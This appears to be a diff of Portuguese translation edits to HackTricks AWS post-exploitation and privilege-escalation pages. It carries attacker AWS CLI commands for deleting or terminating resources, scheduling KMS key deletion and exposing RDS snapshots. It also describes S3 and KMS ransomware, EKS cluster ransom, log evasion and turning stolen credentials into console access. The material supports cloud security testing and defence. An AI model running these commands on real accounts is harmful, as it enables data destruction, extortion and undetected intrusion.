Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego da VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o VPC Traffic Mirroring é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
Para atender à necessidade de **implantação automatizada** da infraestrutura necessária para espelhar e exfiltrar o tráfego VPC, desenvolvemos um script de prova de conceito chamado “**malmirror**”. Este script pode ser usado com **credenciais AWS comprometidas** para configurar o espelhamento para todas as instâncias EC2 suportadas em uma VPC alvo. É importante notar que o Espelhamento de Tráfego VPC é suportado apenas por instâncias EC2 alimentadas pelo sistema AWS Nitro, e o alvo do espelho VPC deve estar dentro da mesma VPC que os hosts espelhados.
O **impacto** do espelhamento de tráfego VPC malicioso pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de man-in-the-middle não são possíveis.
O **impacto** do espelhamento malicioso de tráfego VPC pode ser significativo, pois permite que atacantes acessem **informações sensíveis** transmitidas dentro das VPCs. A **probabilidade** de tal espelhamento malicioso é alta, considerando a presença de **tráfego em texto claro** fluindo através das VPCs. Muitas empresas usam protocolos em texto claro dentro de suas redes internas por **razões de desempenho**, assumindo que ataques tradicionais de homem no meio não são possíveis.
Para mais informações e acesso ao [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), ele pode ser encontrado em nosso **repositório GitHub**. O script automatiza e simplifica o processo, tornando-o **rápido, simples e repetível** para fins de pesquisa ofensiva.

View File

@@ -13,7 +13,7 @@ Para mais informações, consulte:
### Funções IAM do Host
No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
O que significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -33,7 +33,7 @@ Além disso, a **função da instância EC2** geralmente terá permissões sufic
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas **forçará as tarefas a serem executadas em outras instâncias:**
A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará as tarefas a serem executadas em outras instâncias:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
```
### Roubar informações sensíveis de contêineres ECR
A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas).
A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar informações sensíveis nelas).
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### `elasticfilesystem:DeleteMountTarget`
Um atacante poderia deletar um ponto de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse ponto de montagem.
Um atacante poderia deletar um alvo de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse alvo de montagem.
```sql
aws efs delete-mount-target --mount-target-id <value>
```

View File

@@ -21,11 +21,11 @@ Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualiz
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Não é um caminho tão fácil:
- Não é tão fácil assim:
Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações em **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações no **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -74,12 +74,12 @@ provideClusterInfo: false
O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**.
A maneira de conceder **acesso ao K8s para mais usuários ou funções do AWS IAM** é usando o **configmap** **`aws-auth`**.
A maneira de conceder **acesso a mais usuários ou funções do AWS IAM** sobre o K8s é usando o **configmap** **`aws-auth`**.
> [!WARNING]
> Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em outra conta** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em contas diferentes** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**.
@@ -98,7 +98,7 @@ Não encontrei nenhuma documentação que explique os critérios para os 'dois c
- gr7
- yl4
De qualquer forma, são apenas 3 caracteres que podemos bruteforçar. Use o script abaixo para gerar a lista.
De qualquer forma, são apenas 3 caracteres que podemos fazer brute force. Use o script abaixo para gerar a lista.
```python
from itertools import product
from string import ascii_lowercase
@@ -125,18 +125,18 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente).
Portanto, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
Assim, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados).
### EKS Ransom?
Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E que o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
Assim, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função AWS que criou** o Cluster, ~~o atacante poderia ter **resgatado o cluster**~~**r**.
Portanto, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função da AWS que criou** o Cluster, ~~o atacante poderia ter **rendido o cluste**~~**r**.
> [!TIP]
> Note que se o cluster estivesse usando **EC2 VMs**, poderia ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
> Note que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
>
> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node.

View File

@@ -19,18 +19,18 @@ Um atacante com a permissão `elasticbeanstalk:DeleteApplicationVersion` pode **
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
**Impacto Potencial**: Interrupção da implantação de aplicativos e potencial perda de versões de aplicativos.
**Impacto Potencial**: Interrupção da implantação de aplicativos e possível perda de versões de aplicativos.
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
> TODO: Testar se mais permissões são necessárias para isso
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e potencial perda de dados se o ambiente não estiver configurado para backups.
Um atacante com a permissão `elasticbeanstalk:TerminateEnvironment` pode **encerrar um ambiente Elastic Beanstalk existente**, causando inatividade para o aplicativo e possível perda de dados se o ambiente não estiver configurado para backups.
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
**Impacto Potencial**: Tempo de inatividade da aplicação, potencial perda de dados e interrupção dos serviços.
**Impacto Potencial**: Tempo de inatividade da aplicação, perda potencial de dados e interrupção dos serviços.
### `elasticbeanstalk:DeleteApplication`
@@ -45,7 +45,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
> [!NOTA]
> [!NOTE]
> TODO: Testar se mais permissões são necessárias para isso
Um atacante com a permissão `elasticbeanstalk:SwapEnvironmentCNAMEs` pode **trocar os registros CNAME de dois ambientes do Elastic Beanstalk**, o que pode fazer com que a versão errada da aplicação seja servida aos usuários ou levar a comportamentos não intencionais.
@@ -56,7 +56,7 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
> [!NOTA]
> TODO: Testar se mais permissões são necessárias para isso
Um atacante com as permissões `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` pode **adicionar ou remover tags em recursos do Elastic Beanstalk**. Essa ação pode levar a alocação incorreta de recursos, cobrança ou gerenciamento de recursos.

View File

@@ -14,11 +14,11 @@ Para mais informações sobre acesso IAM:
Se você **permitir que uma conta externa (A)** acesse um **papel** em sua conta, você provavelmente terá **0 visibilidade** sobre **quem pode exatamente acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso à A, **não conseguirá acessar seu papel**.
Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso a A, **não conseguirá acessar seu papel**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, desde que a conta externa A saiba, mas a conta externa **B não saiba**, isso **impede B de abusar de A para acessar seu papel**.
No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, enquanto a conta externa A souber, mas a conta externa **B não souber**, isso **impede B de abusar de A para acessar seu papel**.
Exemplo:
```json

View File

@@ -12,15 +12,15 @@ Para mais informações, consulte:
### Criptografar/Descriptografar informações
`fileb://` e `file://` são esquemas URI usados em comandos AWS CLI para especificar o caminho para arquivos locais:
`fileb://` e `file://` são esquemas URI usados em comandos da AWS CLI para especificar o caminho para arquivos locais:
- `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não-texto.
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos de codificação especiais.
- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
> [!TIP]
> Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
- Usando uma **chave** simétrica
- Usando uma chave **simétrica**
```bash
# Encrypt data
aws kms encrypt \
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Há outra maneira de realizar um Ransomware KMS Global, que envolveria os seguintes passos:
- Criar uma nova **chave com um material de chave** importado pelo atacante
- **Recriptografar dados mais antigos** criptografados com a versão anterior com a nova.
- **Recriptografar dados antigos** criptografados com a versão anterior com a nova.
- **Excluir a chave KMS**
- Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
> Observe que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
> Note que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>

View File

@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
### Roubar Requisições de URL de Outros Lambdas & Requisições de Extensões
Abusando das Camadas do Lambda, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
Abusando de Lambda Layers, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

View File

@@ -18,7 +18,7 @@ Note que o bootstrap carrega o código do usuário como um módulo, então qualq
## Roubo de Requisições Lambda
O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **bootstrap malicioso** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **malicioso bootstrap** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
Esta é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo legítimo processo **`bootstrap.py`**. Assim, o atacante poderia:

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### Restaurar antigos snapshots de DB
Se o DB tiver snapshots, você pode ser capaz de **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
Se o DB tiver snapshots, você pode **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
### Restaurar Snapshots de Instância

View File

@@ -12,7 +12,7 @@ Para mais informações, consulte:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Se o atacante tiver permissões suficientes, ele poderia tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem acidentalmente registrados, o atacante pode potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas.
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante pode potencialmente usar essas informações para escalar suas permissões ou realizar ações não autorizadas.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```

View File

@@ -21,18 +21,18 @@ Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou
### Ransomware S3
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Ele então torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração de bucket inadequada que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração inadequada do bucket que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware a esse bucket específico.
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware naquele bucket específico.
Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente nomeado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
**Para mais informações** [**verifique a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# AWS - Pós Exploração do Secrets Manager
# AWS - Secrets Manager Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
```
### DoS Deleting Secret
### DoS Deletando Segredo
O número mínimo de dias para deletar um segredo é 7
```bash

View File

@@ -17,7 +17,7 @@ Enviar um e-mail.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
Ainda a ser testado.
Ainda a testar.
### `ses:SendRawEmail`
@@ -33,7 +33,7 @@ Envie um email com base em um modelo.
```bash
aws ses send-templated-email --source <value> --destination <value> --template <value>
```
Ainda a ser testado.
Ainda a testar.
### `ses:SendBulkTemplatedEmail`
@@ -59,7 +59,7 @@ Ainda a ser testado.
### `ses:SendCustomVerificationEmail`
Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail modelo.
Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail de modelo.
```bash
aws ses send-custom-verification-email --email-address <value> --template-name <value>
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>

View File

@@ -1,4 +1,4 @@
# AWS - SNS Pós-Exploração
# AWS - SNS Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ Para mais informações:
### Interromper Mensagens
Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectável.
Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectado.
### `sns:DeleteTopic`
@@ -20,7 +20,7 @@ Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens
```bash
aws sns delete-topic --topic-arn <value>
```
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicativos que utilizam o tópico excluído.
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam o tópico excluído.
### `sns:Publish`
@@ -36,9 +36,9 @@ Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afe
```bash
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
```
**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
**Impacto Potencial**: Erros de configuração que levam a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
### `sns:Subscribe` , `sns:Unsubscribe`
### `sns:Subscribe`, `sns:Unsubscribe`
Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico.
```bash
@@ -47,7 +47,7 @@ aws sns unsubscribe --subscription-arn <value>
```
**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado.
### `sns:AddPermission` , `sns:RemovePermission`
### `sns:AddPermission`, `sns:RemovePermission`
Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico.
```css

View File

@@ -17,7 +17,7 @@ Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS,
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos.
**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`

View File

@@ -1,8 +1,8 @@
# AWS - SSO & identitystore Pós Exploração
# AWS - SSO e identitystore Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
## SSO & identitystore
## SSO e identitystore
Para mais informações, consulte:

View File

@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
### `states:StopExecution`
Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
Um atacante com essa permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
> [!WARNING]
> Esta ação não é suportada por **máquinas de estado expressas**.

View File

@@ -13,11 +13,11 @@ Para mais informações:
### De Credenciais IAM para Console
Se você conseguiu obter algumas credenciais IAM, pode estar interessado em **acessar o console da web** usando as seguintes ferramentas.\
Note que o usuário/papel deve ter a permissão **`sts:GetFederationToken`**.
Observe que o usuário/role deve ter a permissão **`sts:GetFederationToken`**.
#### Script personalizado
O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para lhe fornecer uma URL assinada que você pode usar para fazer login no console da web:
O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para fornecer uma URL assinada que você pode usar para fazer login no console da web:
```bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -65,7 +64,7 @@ pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console
```
> [!WARNING]
> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma função para assumir.
> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça um papel para assumir.
#### aws-vault
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Contornar restrições de User-Agent do Python**
Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo:
Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode **modificar diretamente o user-agent do boto3** fazendo:
```bash
# Shared by ex16x41
# Create a client

View File

@@ -29,7 +29,7 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar um lambda vulnerável).
Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar uma lambda vulnerável).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -39,7 +39,7 @@ aws apigateway update-rest-api \
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
> [!NOTE]
> [!NOTA]
> Necessita de teste
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**.

View File

@@ -24,11 +24,11 @@ Na página seguinte, você tem um **exemplo de exploração** com a permissão a
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
**Impacto Potencial:** Privesc para o papel de serviço cloudformation especificado.
**Impacto Potencial:** Privesc para o papel de serviço do cloudformation especificado.
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
Neste caso, você pode **abusar de uma pilha cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
Neste caso, você pode **abusar de uma pilha de cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm
Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack.
A seguinte exploração é uma **variação do**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
```bash
aws cloudformation create-change-set \
--stack-name privesc \

View File

@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Um atacante poderia, por exemplo, usar um **template de cloudformation** que gera **chaves para um usuário admin** como:
